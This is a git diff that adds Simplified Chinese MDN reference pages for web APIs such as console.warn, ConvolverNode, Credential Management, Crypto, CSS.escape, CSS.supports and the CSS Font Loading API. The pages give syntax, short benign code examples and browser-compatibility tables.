{{Note("在火狐浏览器里,警告会有一个小感叹号图标在 Web 控制台信息前面。")}}

+ +

语法

+ +
console.warn(obj1 [, obj2, ..., objN]);
+console.warn(msg [, subst1, ..., substN]);
+
+ +

参数

+ +
+
obj1 ... objN
+
要输出的 Javascript 对象列表。其中每个对象会以字符串的形式按照顺序依次输出到控制台。
+
msg
+
一个 JavaScript 字符串,其中包含零个或多个替代字符串。
+
subst1 ... substN
+
零个或多个 Javascript 对象 依次替换 msg 中的替代字符串,你可以在替代字符串中指定对象的输出格式。
+
+ +

查看 向控制台输出文本 来了解更多 {{domxref("console")}} 的用法。

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#warn", "console.warn()")}}{{Spec2("Console API")}}Initial definition
+ +

浏览器兼容

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("2.0")}}8{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Substitution strings{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("9.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Available in workers{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("38.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("2.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Substitution strings{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("9.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Available in workers{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("38.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/console_api/index.html b/files/zh-cn/web/api/console_api/index.html new file mode 100644 index 0000000000..bf02731963 --- /dev/null +++ b/files/zh-cn/web/api/console_api/index.html @@ -0,0 +1,68 @@ +--- +title: Console API +slug: Web/API/Console_API +translation_of: Web/API/Console_API +--- +
{{DefaultAPISidebar("Console API")}}
+ +

Console API提供了允许开发人员执行调试任务的功能,例如在代码中的某个位置记录消息或变量值,或者计算任务完成所需的时间。

+ +

概念和用法

+ +

Console API最初是一个专有的API,不同的浏览器以自己的试下方式来实现它. Console API  规范统一了这个API的行为, 并且所有现代浏览器最终都决定实现这种行为 — 尽管一些实现仍然有自己的附加专有功能. 了解这些请查看:

+ + + +

用法非常简单 — {{domxref("console")}} 对象 — 可以通过{{domxref("window.console")}}获取到, 在workers里面使用{{domxref("WorkerGlobalScope.console")}}获取,console — 包含许多方法,您可以调用它们来执行基本的调试任务, 通常专注于将各种值记录到浏览器中 WEB控制台.

+ +

到目前为止,最常用的方法是console.log,它用于记录特定变量中包含的当前值.

+ +

接口

+ +
+
{{domxref("console")}}
+
提供基本的调试功能,包括日志记录,堆栈跟踪,计时器和计数器。
+
+ +

示例

+ +
let myString = 'Hello world';
+
+// Output "Hello world" to the console
+console.log(myString)
+ +

Console reference page查看更多示例

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Console API')}}{{Spec2('Console API')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Console")}}

+ +

其他

+ + diff --git a/files/zh-cn/web/api/convolvernode/index.html b/files/zh-cn/web/api/convolvernode/index.html new file mode 100644 index 0000000000..de43ddc6b3 --- /dev/null +++ b/files/zh-cn/web/api/convolvernode/index.html @@ -0,0 +1,123 @@ +--- +title: ConvolverNode +slug: Web/API/ConvolverNode +tags: + - 音效 + - 音频 +translation_of: Web/API/ConvolverNode +--- +

{{APIRef("Web Audio API")}}

+ +

ConvolverNode 接口是一个对给定 {{domxref("AudioBuffer")}} 上执行线性卷积的 {{domxref("AudioNode")}},一般用来做音频混响效果。每一个 ConvolverNode 都会有一个输入值和输出值。

+ +
+

注意: 更多线性卷积理论的相关信息,请参阅Convolution article on Wikipedia.

+
+ + + + + + + + + + + + + + + + + + + + + + + + +
Number of inputs1
Number of outputs1
Channel count mode"clamped-max"
Channel count1, 2, or 4
Channel interpretation"speakers"
+ +

构造函数

+ +
+
{{domxref("ConvolverNode.ConvolverNode()", "ConvolverNode()")}}
+
创建一个新的 ConvolverNode 对象实例。
+
+ +

属性

+ +

继承其父级的属性, {{domxref("AudioNode")}}.

+ +
+
{{domxref("ConvolverNode.buffer")}}
+
一个被 ConvolverNode 用来产生混响效果的单声道、立体声或四声道的音频缓冲器,包含了(可能是多声道)脉冲反应(IR)。
+
{{domxref("ConvolverNode.normalize")}}
+
布尔值,在设置缓冲区属性时,可绝定是否对来自 buffer 的脉冲反应按等功率归一化进行缩放。
+
+ +

方法

+ +

没有具体的方法,从其父继承方法,{{domxref("AudioNode")}}.

+ +

ConvolverNode 例子

+ +

下面的示例展示了 AudioContext 创建卷积节点的基础用法。

+ +
+

注意: 你需要找到一个脉冲反应来完成下面的示例。可查看 此处 的实例.

+
+ +
let audioCtx = new window.AudioContext();
+
+async function createReverb() {
+    let convolver = audioCtx.createConvolver();
+
+    // 从文件加载脉冲反应
+    let response     = await fetch("path/to/impulse-response.wav");
+    let arraybuffer  = await response.arrayBuffer();
+    convolver.buffer = await audioCtx.decodeAudioData(arraybuffer);
+
+    return convolver;
+}
+
+...
+
+let reverb = await createReverb();
+
+// someOtherAudioNode -> reverb -> destination
+someOtherAudioNode.connect(reverb);
+reverb.connect(audioCtx.destination);
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('Web Audio API', '#ConvolverNode', 'ConvolverNode')}}{{Spec2('Web Audio API')}}
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.ConvolverNode")}}

+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/credential_management_api/index.html b/files/zh-cn/web/api/credential_management_api/index.html new file mode 100644 index 0000000000..77359c89ac --- /dev/null +++ b/files/zh-cn/web/api/credential_management_api/index.html @@ -0,0 +1,153 @@ +--- +title: Credential Management API +slug: Web/API/Credential_Management_API +translation_of: Web/API/Credential_Management_API +--- +
+

{{APIRef("Credential Management API")}}{{ SeeCompatTable() }}

+ +

Credential Management API 允许网站存储和检索用户,联合账户和公钥证书。这些功能允许用户在不输入密码的情况下登录,查看他们曾经登录到一个站点的联合帐户,并且在会话过期且没有显式的登录流程的情况下恢复会话。

+
+ +

Credential management 概念和用法

+ +

此API允许网站与用户代理的密码系统进行交互,以便网站能够以统一的方式处理站点凭证,而用户代理则可以为他们的凭证管理提供更好的帮助。例如,用户代理在处理联合身份提供程序或使用不仅仅是用户名和密码的深奥登录机制时特别困难。为了解决这些问题,Credential Management API为网站提供了存储和检索不同类型凭据的方法。这为用户提供了一些功能,比如查看他们曾经登录到某个站点的联合帐户,或者在会话过期且没有显式的登录流程的情况下恢复会话。

+ +
+

此API仅限于顶级上下文。在<iframe>元素中调用get()和store()将无效。

+
+ +

子域共享凭据(Subdomain-shared credentials)

+ +

 

+ +

规范的更高版本允许从不同的子域检索凭证。例如,存储在login.example.com中的密码可用于登录www.example.com。要利用这一点,必须通过调用{{domxref("CredentialsContainer.store()")}}显式存储密码。这有时被称为公共后缀列表(PSL)匹配;但是规范仅建议使用PSL来确定凭证的有效范围。它(子域共享凭据)不需要它。因此浏览器的实现可能会有所不同。

+ +

接口

+ +
+
{{domxref("Credential")}}
+
提供有关实体的信息,作为信任决策的先决条件。
+
{{domxref("CredentialsContainer")}}
+
公开请求凭据的方法,并在发生令人关注的事件(如成功登录或注销)时通知用户代理。可以从Navigator.credentials访问此接口。
+
{{domxref("FederatedCredential")}}
+
提供关于联合身份提供程序的凭据的信息,联合身份提供程序是网站信任的实体,可以正确地对用户进行身份验证,并为此提供API。 OpenID Connect 就是这种框架的一个例子。
+
{{domxref("PasswordCredential")}}
+
提供有关用户名/密码对的信息。
+
{{domxref("PublicKeyCredential")}}
+
提供使用不可窃取和数据破坏的非对称密钥对(而不是密码登录)的凭据。
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Credential Management')}}{{Spec2('Credential Management')}}初步定义
{{SpecName('WebAuthn')}}{{Spec2('WebAuthn')}}初步定义
+ +

浏览器兼容性

+ +
{{ CompatibilityTable() }}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support(基础支持){{CompatChrome(51)}}{{CompatNo}}{{CompatNo}}{{CompatOpera(44)}}{{CompatNo}}
Subdomain-shared credentials(子域共享凭据){{CompatChrome(57)}}{{CompatNo}}{{CompatNo}}{{CompatOpera(44)}}{{CompatNo}}
Web authentication(Web身份验证){{CompatChrome(65)}}[1]60{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support(基础支持){{CompatChrome(51)}}{{CompatChrome(51)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatOperaMobile(44)}}{{CompatNo}}
Subdomain-shared credentials(子域共享凭据){{CompatChrome(57)}}{{CompatChrome(57)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatOperaMobile(44)}}{{CompatNo}}
Web authentication(Web身份验证){{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] 在 chrome://flags#enable-webauthentication flag中。 (这仅适用于Chrome中的链接。)

diff --git a/files/zh-cn/web/api/credentialscontainer/index.html b/files/zh-cn/web/api/credentialscontainer/index.html new file mode 100644 index 0000000000..13b25b9a44 --- /dev/null +++ b/files/zh-cn/web/api/credentialscontainer/index.html @@ -0,0 +1,150 @@ +--- +title: CredentialsContainer +slug: Web/API/CredentialsContainer +translation_of: Web/API/CredentialsContainer +--- +

{{SeeCompatTable}}{{APIRef("Credential Management API")}}

+ +

Credential Management API 的 CredentialsContainer 接口提供了请求 credentials 和通知用户代理(当成功登陆或登出事件发生时)的方法。可通过  Navigator.credentials 获得该接口。

+ +

属性

+ +

None.

+ +

事件

+ +

None.

+ +

 

+ +

返回一个带有处理值  Credential(若它能够使用提供的选项创建的话)的 Promise ,或返回  null(若不能创建 Credential)。在特殊情况下,返回的 Promise 对象可能 reject。

+ +

方法

+ +
+
{{domxref("CredentialsContainer.create()")}}
+
Returns a {{jsxref("Promise")}} that resolves with a new {{domxref("Credential")}} instance based on the provided options, or null of no Credential object can be created.
+
{{domxref("CredentialsContainer.get()")}}
+
Returns a {{jsxref("Promise")}} that resolves with the {{domxref("Credential")}} instance that matches the provided parameters.
+
{{domxref("CredentialsContainer.preventSilentAccess()")}}
+
Sets a flag that specifies whether automatic log in is allowed for future visits to the current origin, then returns an empty {{jsxref("Promise")}}. For example, you might call this, after a user signs out of a website to ensure that he/she isn't automatically signed in on the next site visit. Earlier versions of the spec called this method requireUserMediation(). See {{anch("Browser compatibility")}} for support details.
+
{{domxref("CredentialsContainer.store()")}}
+
Stores a set of credentials for a user, inside a provided {{domxref("Credential")}} instance and returns that instance in a {{jsxref("Promise")}}.
+
+ +

示例

+ +
// TBD
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Credential Management')}}{{Spec2('Credential Management')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support +

{{CompatChrome(51)}}

+
{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}
create(){{CompatChrome(60)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}
requireUserMediation() renamed preventSilentAccess(){{CompatChrome(60)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support +

{{CompatChrome(51)}}

+
+

{{CompatChrome(51)}}

+
{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}
create(){{CompatChrome(60)}}{{CompatChrome(60)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}
requireUserMediation() renamed preventSilentAccess(){{CompatChrome(60)}}{{CompatChrome(60)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}
+
diff --git a/files/zh-cn/web/api/crypto/index.html b/files/zh-cn/web/api/crypto/index.html new file mode 100644 index 0000000000..25056293b3 --- /dev/null +++ b/files/zh-cn/web/api/crypto/index.html @@ -0,0 +1,61 @@ +--- +title: Crypto +slug: Web/API/Crypto +tags: + - 加密 +translation_of: Web/API/Crypto +--- +

{{APIRef("Web Crypto API")}}

+ +

Crypto 接口提供了基本的加密功能,可用于当前的上下文中。它允许访问一个密码强度的随机数生成器和 cryptographic primitives。

+ +

该接口在 Web 中可以通过 {{domxref("Window.crypto")}} 属性来访问。

+ +

属性

+ +

该接口实现的属性定义在 {{domxref("RandomSource")}} 中。

+ +
+
{{domxref("Crypto.subtle")}} {{experimental_inline}}{{readOnlyInline}}
+
返回一个 {{domxref("SubtleCrypto")}} 对象, 用来访问公共的 cryptographic primitives,例如哈希、签名、加密以及解密。
+
+ +

方法

+ +

该接口实现的方法定义在 {{domxref("RandomSource")}} 中。

+ +
+
{{ domxref("RandomSource.getRandomValues()") }}
+
使用 cryptographically sound 随机数填充 {{ jsxref("TypedArray") }}。
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Web Crypto API", "#crypto-interface", "Crypto")}}{{Spec2("Web Crypto API")}}Initial definition
+ +

浏览器兼容

+ + + +

{{Compat("api.Crypto")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/crypto/subtle/index.html b/files/zh-cn/web/api/crypto/subtle/index.html new file mode 100644 index 0000000000..750c1dd189 --- /dev/null +++ b/files/zh-cn/web/api/crypto/subtle/index.html @@ -0,0 +1,88 @@ +--- +title: Crypto.subtle +slug: Web/API/Crypto/subtle +translation_of: Web/API/Crypto/subtle +--- +

{{APIRef("Web Crypto API")}}

+ +

Crypto.subtle 是一个只读属性,返回一个 {{domxref("SubtleCrypto")}} 对象允许做一个些加密操作。

+ +

语法

+ +
var crypto = crypto.subtle;
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Web Crypto API', '#dfn-Crypto', 'Crypto.subtle') }}{{ Spec2('Web Crypto API') }}Initial definition.
+ +

浏览器支持

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatChrome(37) }}{{ CompatGeckoDesktop(34) }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}37{{ CompatGeckoMobile(34) }}{{ CompatNo }}{{ CompatUnknown() }}{{ CompatNo }}
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/cryptokey/index.html b/files/zh-cn/web/api/cryptokey/index.html new file mode 100644 index 0000000000..57f11ff55f --- /dev/null +++ b/files/zh-cn/web/api/cryptokey/index.html @@ -0,0 +1,108 @@ +--- +title: CryptoKey +slug: Web/API/CryptoKey +translation_of: Web/API/CryptoKey +--- +

{{APIRef("Web Crypto API")}}

+ +

CryptoKey 接口表示从特定的密钥算法导出的{{glossary("密钥")}}。

+ +

一个 CryptoKey 对象可以使用 {{domxref("SubtleCrypto.generateKey()")}}, {{domxref("SubtleCrypto.deriveKey()")}} or {{domxref("SubtleCrypto.importKey()")}} 获得。

+ +

属性

+ +

这个接口不继承任何属性。

+ +
+
{{domxref("CryptoKey.type")}}
+
返回一个表示密钥类型的枚举值,一个密钥(对称算法),一个公钥或一个私钥(非对称算法)。
+
{{domxref("CryptoKey.extractable")}}
+
返回一个{{jsxref("布尔值")}},表示原始信息是否能导出到应用程序。
+
{{domxref("CryptoKey.algorithm")}}
+
返回一个不透明对象,表示必须与密钥一同使用的特定密码。
+
{{domxref("CryptoKey.usages")}}
+
返回一个可枚举的数组,来指出什么密钥可以使用。
+
+ +

方法

+ +

这个接口既不继承也不实现任何方法。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态评论
{{ SpecName('Web Crypto API', '#dfn-CryptoKey', 'CryptoKey') }}{{ Spec2('Web Crypto API') }}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatChrome(37) }}{{CompatVersionUnknown}}{{ CompatGeckoDesktop(34) }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support37{{ CompatChrome(37) }}{{CompatVersionUnknown}}{{ CompatGeckoMobile(34) }}{{ CompatNo }}{{ CompatUnknown() }}{{ CompatNo }}
+
+ +

其它相关

+ + diff --git a/files/zh-cn/web/api/css/escape/index.html b/files/zh-cn/web/api/css/escape/index.html new file mode 100644 index 0000000000..3271798047 --- /dev/null +++ b/files/zh-cn/web/api/css/escape/index.html @@ -0,0 +1,125 @@ +--- +title: CSS.escape() +slug: Web/API/CSS/escape +tags: + - CSS + - escape() + - 参考 + - 方法 +translation_of: Web/API/CSS/escape +--- +

{{APIRef("CSSOM")}}{{SeeCompatTable}}

+ +

 CSS.escape() 静态方法返回 {{domxref("DOMString")}} 包含作为参数传递的转义字符串,主要用作CSS选择器的一部分。

+ +

语法

+ +
escapedStr = CSS.escape(str);
+
+ +

参数

+ +
+
str
+
The {{domxref("DOMString")}} to be escaped.
+
+ +

实例

+ +

基本结果

+ +
CSS.escape(".foo#bar")        // "\.foo\#bar"
+CSS.escape("()[]{}")          // "\(\)\[\]\\{\\}"
+CSS.escape('--a')             // "--a"
+CSS.escape(0)                 // "\30 ",  Unicode代码点“0”是30
+CSS.escape('\0')              // "\ufffd",  Unicode替换字符 
+ +

在上下文使用

+ +

要转义一个字符串作为选择器使用, escape()方法可以用于:

+ +
var element = document.querySelector('#' + CSS.escape(id) + ' > img');
+ +

escape()方法也可以用于转义字符串,它也转义了不严格需要转义的字符:

+ +
var element = document.querySelector('a[href="#' + CSS.escape(fragment) + '"]');
+ +

规范

+ + + + + + + + + + + + + + +
格式状态备注
{{SpecName('CSSOM', '#the-css.escape()-method', 'CSS.escape()')}}{{Spec2('CSSOM')}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(46.0)}}{{CompatGeckoDesktop("31")}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(46.0)}}{{CompatGeckoMobile("31")}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatChrome(46.0)}}
+
+ +

[1] Firefox 32做了一些小的修改,以符合规范和CSS语法的发展。标识符现在可以以' -- '开始,第二个破折号不能被转义。另外供应商标识符也不会被更改。

+ +

参见

+ + diff --git a/files/zh-cn/web/api/css/factory_functions/index.html b/files/zh-cn/web/api/css/factory_functions/index.html new file mode 100644 index 0000000000..8f4eea206a --- /dev/null +++ b/files/zh-cn/web/api/css/factory_functions/index.html @@ -0,0 +1,100 @@ +--- +title: CSS数字工厂函数 +slug: Web/API/CSS/factory_functions +translation_of: Web/API/CSS/factory_functions +--- +

{{SeeCompatTable}}CSS numeric factory functions,例如 CSS.em()CSS.turn(),是一组使用传入的数字参数以及所指定的单位(单位名称即所用方法名称)来返回 CSSUnitValues 的方法。这些函数创建新的数字值,与使用 {{domxref('CSSUnitValue.CSSUnitValue()')}} 构造函数相比,没有后者那么冗长。

+ +

语法

+ +
CSS.number(number);
+CSS.percent(number);
+
+// <length>
+CSS.em(number);
+CSS.ex(number);
+CSS.ch(number);
+CSS.ic(number);
+CSS.rem(number);
+CSS.lh(number);
+CSS.rlh(number);
+CSS.vw(number);
+CSS.vh(number);
+CSS.vi(number);
+CSS.vb(number);
+CSS.vmin(number);
+CSS.vmax(number);
+CSS.cm(number);
+CSS.mm(number);
+CSS.Q(number);
+CSS.in(number);
+CSS.pt(number);
+CSS.pc(number);
+CSS.px(number);
+
+// <angle>
+CSS.deg(number);
+CSS.grad(number);
+CSS.rad(number);
+CSS.turn(number);
+
+// <time>
+CSS.s(number);
+CSS.ms(number);
+
+// <frequency>
+CSS.Hz(number);
+CSS.kHz(number);
+
+// <resolution>
+CSS.dpi(number);
+CSS.dpcm(number);
+CSS.dppx(number);
+
+// <flex>
+CSS.fr(number);
+ +

示例

+ +

我们使用 CSS.vmax() 数字工厂函数来创建一个 {{domxref('CSSUnitValue')}}:

+ +
let height = CSS.vmax(50);
+
+console.log( height );       // CSSUnitValue {value: 50, unit: "vmax"}
+console.log( height.value )  // 50
+console.log( height.unit )   // vmax
+ +

在这个例子中,我们给元素设定 margin 属性值,使用 CSS.px() 函数:

+ +
myElement.attributeStyleMap.set('margin', CSS.px(40));
+let currentMargin = myElement.attributeStyleMap.get('margin');
+console.log(currentMargin.value, currentMargin.unit); // 40, 'px'
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM', '#numeric-factory', 'Numeric Factory Functions')}}{{Spec2('CSSOM')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.CSS")}}

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/css/index.html b/files/zh-cn/web/api/css/index.html new file mode 100644 index 0000000000..4a835d0bc8 --- /dev/null +++ b/files/zh-cn/web/api/css/index.html @@ -0,0 +1,85 @@ +--- +title: CSS +slug: Web/API/CSS +translation_of: Web/API/CSS +--- +

{{APIRef("CSSOM")}}

+ +

CSS 接口涵盖CSS相关的实用方法。尚且不存在实现这个接口的对象:它仅仅包含静态的方法,因此也是一个实用性的接口。

+ +

属性

+ +

CSS接口是一个工具接口,无法创建该类型的对象:其内部只定义了静态属性。

+ +

静态属性

+ +
+
{{DOMxRef("CSS.paintWorklet")}} {{Experimental_Inline}}{{SecureContext_Inline}}
+
针对所有与绘制相关的类,提供对负责它们的工作集的访问。
+
+ +

方法

+ +

CSS接口是一个工具接口,无法创建该类型的对象:其内部只定义了静态方法。

+ +

静态方法

+ +

没有继承的静态方法。

+ +
+
{{DOMxRef("CSS.registerProperty()")}}
+
注册 {{cssxref('--*', 'custom properties')}},启用属性类型检查、默认值,以及继承了或者没有继承它们值的属性。
+
{{DOMxRef("CSS.supports()")}}
+
返回一个 {{JSxRef("Boolean")}} 来表明键值对、条件,或者传入参数是否受支持。
+
{{DOMxRef("CSS.escape()")}}
+
可以用来转义一个大多用来当作CSS选择器一部分的字符串。
+
{{DOMxRef("CSS.factory_functions", 'CSS factory functions')}}
+
可以用来返回一个 CSSUnitValue。它的值由传入的数值以及调用的factory方法名称组成。
+
+
CSS.em(3) // CSSUnitValue {value: 3, unit: "em"}
+
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS Painting API','#dom-css-paintworklet','paintWorklet')}}{{Spec2('CSS Painting API')}}Adds the paintWorklet static property.
{{SpecName('CSSOM', '#the-css.escape()-method', 'CSS')}}{{Spec2('CSSOM')}}Adds the escape() static method.
{{SpecName('CSS3 Conditional', '#the-css-interface', 'CSS')}}{{Spec2('CSS3 Conditional')}}Initial definition
+ +

 

+ +
+
+ +

浏览器兼容性

+ +

{{Compat("api.CSS", 1)}}

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/css/supports/index.html b/files/zh-cn/web/api/css/supports/index.html new file mode 100644 index 0000000000..86c8f5dd91 --- /dev/null +++ b/files/zh-cn/web/api/css/supports/index.html @@ -0,0 +1,130 @@ +--- +title: CSS.supports() +slug: Web/API/CSS/supports +tags: + - API + - CSSOM + - Method +translation_of: Web/API/CSS/supports +--- +

{{APIRef("CSSOM")}}

+ +

CSS.supports() 静态方法返回一个{{domxref("Boolean")}}值,用来校验浏览器是否支持一个给定的CSS特性。

+ +

语法

+ +
boolValue = CSS.supports(propertyName, value);
+boolValue = CSS.supports(supportCondition);
+
+ +

参数

+ +

有两种不同的传值形式。第一种用来检验浏览器对于一对“属性-属性值”的支持:

+ +
+
propertyName
+
一个包含要检查的CSS属性名称的{{domxref("DOMString")}}。
+
value
+
一个包含要检查的CSS属性值的{{domxref("DOMString")}}。
+
+ +

第二种语法需要一个匹配{{cssxref("@supports")}}条件的参数:

+ +
+
supportCondition
+
一个包含了检查条件的{{domxref("DOMString")}}。
+
+ +

实例

+ +
result = CSS.supports("text-decoration-style", "blink");
+result = CSS.supports("display", "flex");
+result = CSS.supports('--foo', 'red');
+result = CSS.supports('(--foo: red)');
+result = CSS.supports("( transform-origin: 5% 5% )");
+result = CSS.supports("( transform-style: preserve ) or ( -moz-transform-style: preserve ) or " +
+                      "( -o-transform-style: preserve ) or ( -webkit-transform-style: preserve )" );
+//result is true or false
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Conditional', '#the-css-interface', 'CSS.supports()') }}{{ Spec2('CSS3 Conditional') }}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support28.0 [2]{{CompatVersionUnknown}}{{ CompatGeckoDesktop("22") }} [1]{{CompatNo}}12.19 [2]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support4.4{{CompatVersionUnknown}}{{ CompatGeckoMobile("22") }} [1]{{CompatNo}}12.19
+
+ +

[1]只有在用户设置layout.css.supports-rule.enabled=true时,Gecko 20和21才会支持这一特性。

+ +

[2] 在Chrome ≤ 51 (bug 584683) 和 Safari (bug 154669)中, 即使支持自定义属性,CSS.supports('--foo', 'red') 也会返回false。 您可以使用CSS.supports('(--foo: red)'),作为一种解决方案。

+ +

参见

+ + diff --git a/files/zh-cn/web/api/css_font_loading_api/index.html b/files/zh-cn/web/api/css_font_loading_api/index.html new file mode 100644 index 0000000000..e446cafa78 --- /dev/null +++ b/files/zh-cn/web/api/css_font_loading_api/index.html @@ -0,0 +1,97 @@ +--- +title: CSS Font Loading API +slug: Web/API/CSS_Font_Loading_API +tags: + - API + - Fonts + - Reference + - 字体 +translation_of: Web/API/CSS_Font_Loading_API +--- +
{{APIRef("CSS Font Loading API")}}{{SeeCompatTable}}
+ +

CSS 字体加载 API 为您提供了动态加载字体资源时的events和interfaces。

+ +

Interfaces

+ +
+
{{domxref('FontFace')}}
+
表示单个可用的字体。
+
{{domxref('FontFaceSet')}}
+
字体API的一个接口,支持检测它们(字体文件)的下载状态。
+
{{domxref('FontFaceSource')}}
+
提供混合了所有的字体相关操作,除非你别有深意。它定义了 {{domxref("Document")}} 和 {{domxref("WorkerGlobalScope")}} 中的可用属性 {{domxref("FontFaceSources.fonts")}} 。
+
{{event('FontFaceSetLoadEvent')}}
+
{{domxref("FontFaceSet")}} 加载时触发的事件。
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Font Loading')}}{{Spec2('CSS3 Font Loading')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(35.0)}}{{CompatGeckoDesktop(41)}}{{CompatUnknown}}{{CompatOpera(22)}}{{CompatSafari(10)}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(56.0)}}{{CompatChrome(35.0)}}{{CompatGeckoMobile(41)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(22)}}{{CompatSafari(10)}}
+
